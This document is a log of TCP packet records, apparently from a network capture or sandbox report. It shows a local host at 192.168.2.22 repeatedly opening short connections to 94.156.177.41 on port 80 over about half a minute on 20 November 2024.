Nov 20, 2024 11:09:00.930401087 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.930459976 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.930537939 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.930608034 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.935497999 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.084309101 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.090334892 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.090519905 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.092291117 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.097268105 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.097364902 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.102365971 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.830027103 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.830127954 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.830391884 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.830391884 CET	49211	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.835581064 CET	80	49211	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.958337069 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.965116978 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.965209007 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.967614889 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.972460985 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:01.972569942 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:01.977495909 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:02.711323977 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:02.711358070 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:02.711590052 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:02.711590052 CET	49212	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:02.716562986 CET	80	49212	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:02.850194931 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:02.855359077 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:02.855433941 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:02.856967926 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:02.864835024 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:02.864900112 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:02.872610092 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:03.596916914 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:03.597064018 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:03.597152948 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:03.597572088 CET	49213	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:03.602441072 CET	80	49213	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:03.737329006 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:03.742475033 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:03.742533922 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:03.744118929 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:03.748982906 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:03.749037981 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:03.753842115 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:04.474706888 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:04.474795103 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:04.474874020 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:04.474911928 CET	49214	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:04.479679108 CET	80	49214	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:04.608638048 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:04.614685059 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:04.614780903 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:04.616421938 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:04.621370077 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:04.621438026 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:04.626410007 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:05.407283068 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:05.407361984 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:05.407506943 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:05.407506943 CET	49215	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:05.416646004 CET	80	49215	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:05.543617964 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:05.548579931 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:05.548652887 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:05.550718069 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:05.555567980 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:05.555632114 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:05.560497999 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:06.303242922 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:06.303360939 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:06.303457022 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:06.304605007 CET	49216	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:06.310838938 CET	80	49216	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:06.493223906 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:06.498282909 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:06.498467922 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:06.500703096 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:06.505645037 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:06.505714893 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:06.510683060 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:07.233683109 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:07.233705044 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:07.233860016 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:07.233908892 CET	49217	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:07.240286112 CET	80	49217	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:07.373155117 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:07.379884958 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:07.379954100 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:07.381669044 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:07.388164043 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:07.388226986 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:07.393070936 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:08.137691975 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:08.137787104 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:08.137815952 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:08.137865067 CET	49218	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:08.145629883 CET	80	49218	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:08.275965929 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:08.621579885 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:08.621777058 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:08.623548985 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:08.631654978 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:08.631913900 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:08.637043953 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:09.364536047 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:09.364584923 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:09.364690065 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:09.364878893 CET	49219	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:09.369820118 CET	80	49219	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:09.492660999 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:09.500758886 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:09.500881910 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:09.502470970 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:09.510183096 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:09.510262966 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:09.515249968 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:10.234821081 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:10.234885931 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:10.235025883 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:10.235110998 CET	49220	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:10.241616964 CET	80	49220	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:10.369602919 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:10.374630928 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:10.374739885 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:10.376441002 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:10.381447077 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:10.381525993 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:10.386435032 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:11.115159988 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:11.115262032 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:11.115423918 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:11.115468025 CET	49221	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:11.120984077 CET	80	49221	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:11.257683992 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:11.262666941 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:11.262737989 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:11.264699936 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:11.269567013 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:11.269627094 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:11.274554014 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.012393951 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.012469053 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.012535095 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.012558937 CET	49222	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.017443895 CET	80	49222	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.143229961 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.148189068 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.148289919 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.149975061 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.154846907 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.154908895 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.159816980 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.941234112 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.941289902 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:12.941472054 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.941580057 CET	49223	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:12.950525999 CET	80	49223	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:13.103667021 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:13.109251976 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:13.109457970 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:13.111741066 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:13.117993116 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:13.118072033 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:13.124625921 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:13.866027117 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:13.866194010 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:13.866235018 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:13.866275072 CET	49224	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:13.871526957 CET	80	49224	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:14.001450062 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:14.010515928 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:14.010617971 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:14.012284040 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:14.021555901 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:14.021635056 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:14.030922890 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:14.783304930 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:14.783354044 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:14.783519030 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:14.783566952 CET	49225	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:14.788393021 CET	80	49225	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.006546021 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.011754990 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.011888027 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.048830986 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.054266930 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.054347038 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.065473080 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.785959005 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.785986900 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.786102057 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.786173105 CET	49226	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.791291952 CET	80	49226	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.937927008 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.947432995 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.947529078 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.949862003 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.957550049 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:15.957636118 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:15.966806889 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:16.809887886 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:16.809973955 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:16.810036898 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:16.810108900 CET	49227	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:16.817569017 CET	80	49227	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:16.957407951 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:16.965723991 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:16.965852976 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:16.968250036 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:16.974471092 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:16.974548101 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:16.980726004 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:17.701922894 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:17.701961994 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:17.702030897 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:17.702064991 CET	49228	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:17.709675074 CET	80	49228	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:17.843311071 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:17.848350048 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:17.848448038 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:17.850151062 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:17.855776072 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:17.855870008 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:17.860812902 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.526344061 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.526367903 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.526384115 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.526453018 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.526515007 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.526712894 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.526757956 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.527072906 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.527112961 CET	49229	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.531305075 CET	80	49229	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.668858051 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.673918962 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.674206972 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.676456928 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.681333065 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:19.681406021 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:19.686351061 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:20.420433044 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:20.420458078 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:20.420636892 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:20.420974016 CET	49230	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:20.425798893 CET	80	49230	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:20.558271885 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:20.564357042 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:20.564551115 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:20.566973925 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:20.573590994 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:20.573694944 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:20.580111027 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:21.314732075 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:21.314827919 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:21.314954996 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:21.314954996 CET	49231	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:21.322526932 CET	80	49231	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:21.451595068 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:21.459656954 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:21.459768057 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:21.463058949 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:21.471091986 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:21.471179962 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:21.476083040 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:22.217380047 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:22.217432022 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:22.217616081 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:22.217616081 CET	49232	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:22.223851919 CET	80	49232	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:22.346134901 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:22.355345964 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:22.355444908 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:22.357079029 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:22.364583969 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:22.364648104 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:22.372081995 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:23.253979921 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:23.254051924 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:23.254069090 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:23.254108906 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:23.254139900 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:23.254162073 CET	49233	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:23.259068012 CET	80	49233	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:23.395215034 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:23.402004004 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:23.402086973 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:23.403670073 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:23.410496950 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:23.410558939 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:23.417169094 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:24.404211044 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:24.404258966 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:24.404460907 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:24.404608011 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:24.406795979 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:24.406910896 CET	49234	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:24.409462929 CET	80	49234	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:24.531588078 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:24.536748886 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:24.536880970 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:24.562783003 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:24.567739010 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:24.567819118 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:24.572761059 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.308274984 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.308300972 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.308314085 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.308393002 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.308439016 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.308907986 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.308955908 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.433123112 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.573856115 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.574134111 CET	49235	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.574563980 CET	80	49235	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.574579954 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.574664116 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.576240063 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.583275080 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:26.583370924 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:26.589478016 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:27.498418093 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:27.498486042 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:27.498516083 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:27.498635054 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:27.498635054 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:27.498635054 CET	49236	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:27.503715992 CET	80	49236	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:27.786453962 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:27.791443110 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:27.791518927 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:27.793325901 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:27.798197985 CET	80	49237	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:27.798263073 CET	49237	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:27.803141117 CET	80	49237	94.156.177.41	192.168.2.22
